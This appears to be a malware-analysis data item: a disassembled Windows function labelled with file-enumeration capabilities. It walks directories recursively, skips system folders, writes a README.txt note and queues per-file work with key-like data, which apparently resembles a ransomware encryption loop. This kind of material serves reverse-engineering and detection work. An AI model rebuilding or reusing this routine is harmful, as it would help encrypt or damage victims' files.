Function at 0x401260
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x78c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x788], eax
mov eax, dword [esp + 0x794]
push esi
mov dword [esp + 4], eax
xor esi, esi
mov eax, dword [esp + 0x79c]
push edi
mov edi, dword [esp + 0x798]
mov dword [esp + 0xc], eax
mov eax, str.C:Windows
mov dword [esp + 0x10], str.C:Windows
mov dword [esp + 0x14], str.C:UsersDefault
mov dword [esp + 0x18], str.C:UsersPublic
mov dword [esp + 0x1c], 0
nop word [eax + eax]
push eax
push edi
call fcn.004054ff
add esp, 8
test eax, eax
je 0x40154a
mov eax, dword [esp + esi*4 + 0x14]
inc esi
test eax, eax
jne 0x4012c0
push ebp
push edi
push 0x41b2f4
lea eax, [esp + 0x59c]
push 0x200
push eax
call fcn.00401ef0
add esp, 0x10
lea eax, [esp + 0x54]
push eax
lea eax, [esp + 0x598]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x401549
mov esi, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x7ac]
mov ecx, 0x41b2fc
lea eax, [esp + 0x84]
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401350
test dl, dl
je 0x40134c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401350
add eax, 2
add ecx, 2
test dl, dl
jne 0x401330
xor eax, eax
jmp 0x401355
sbb eax, eax
or eax, 1
test eax, eax
je 0x40152d
mov eax, 0x41b300
lea ecx, [esp + 0x84]
nop dword [eax]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x401390
test dl, dl
je 0x40138c
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x401390
add ecx, 2
add eax, 2
test dl, dl
jne 0x401370
xor eax, eax
jmp 0x401395
sbb eax, eax
or eax, 1
test eax, eax
je 0x40152d
lea eax, [esp + 0x84]
push eax
push edi
push str._s_s
lea eax, [esp + 0x3a4]
push 0x200
push eax
call fcn.00401ef0
add esp, 0x14
test byte [esp + 0x58], 0x10
je 0x4013ee
cmp ebx, 3
jge 0x40152d
lea eax, [ebx + 1]
push eax
push dword [esp + 0x18]
lea eax, [esp + 0x3a0]
push esi
push eax
call fcn.00401260
add esp, 0x10
jmp 0x40152d
lea eax, [esp + 0x84]
push 0x2e
push eax
call fcn.00402c00
push edi
push str._sREADME.txt
mov esi, eax
lea eax, [esp + 0x1a8]
push 0x100
push eax
call fcn.00401ef0
lea eax, [esp + 0x40]
push eax
lea eax, [esp + 0x1b4]
push eax
call fcn.004096f3
add esp, 0x20
test eax, eax
je 0x4014c2
test esi, esi
je 0x40144a
push str..lnk
push esi
call fcn.004054ff
add esp, 8
test eax, eax
je 0x4014c2
push edi
push str._sREADME.txt
lea eax, [esp + 0x1a0]
push 0x100
push eax
call fcn.00401ef0
lea eax, [esp + 0x38]
push eax
lea eax, [esp + 0x1ac]
push eax
call fcn.004096f3
add esp, 0x18
test eax, eax
je 0x4014c2
push edi
push str._sREADME.txt
lea eax, [esp + 0x2a0]
push 0x100
push eax
call fcn.00401ef0
lea eax, [esp + 0x2a8]
push 0x41b2b4
push eax
call fcn.004060f1
mov esi, eax
add esp, 0x18
test esi, esi
je 0x4014c2
push str.Hey_there._n
push esi
call fcn.00401a60
push esi
call fcn.00405fde
add esp, 0xc
push 0x34
call fcn.004055f3
mov esi, eax
lea eax, [esp + 0x39c]
push eax
call fcn.004053f0
mov dword [esi], eax
add esp, 8
mov eax, dword [esp + 0x10]
push 0x424640
movups xmm0, xmmword [eax]
push esi
push 0x401570
movups xmmword [esi + 4], xmm0
movups xmm0, xmmword [eax + 0x10]
mov eax, dword [esp + 0x20]
movups xmmword [esi + 0x14], xmm0
movups xmm0, xmmword [eax]
movups xmmword [esi + 0x24], xmm0
call dword [sym.imp.KERNEL32.dll_CreateThreadpoolWork]
test eax, eax
je 0x401519
push eax
call dword [sym.imp.KERNEL32.dll_SubmitThreadpoolWork]
jmp 0x401529
push dword [esi]
call fcn.004055d8
push esi
call fcn.004055d8
add esp, 8
mov esi, dword [esp + 0x10]
lea eax, [esp + 0x58]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x401321
pop ebx
push ebp
call dword [sym.imp.KERNEL32.dll_FindClose]
pop ebp
mov ecx, dword [esp + 0x790]
pop edi
pop esi
xor ecx, esp
call fcn.00401f28
add esp, 0x78c
ret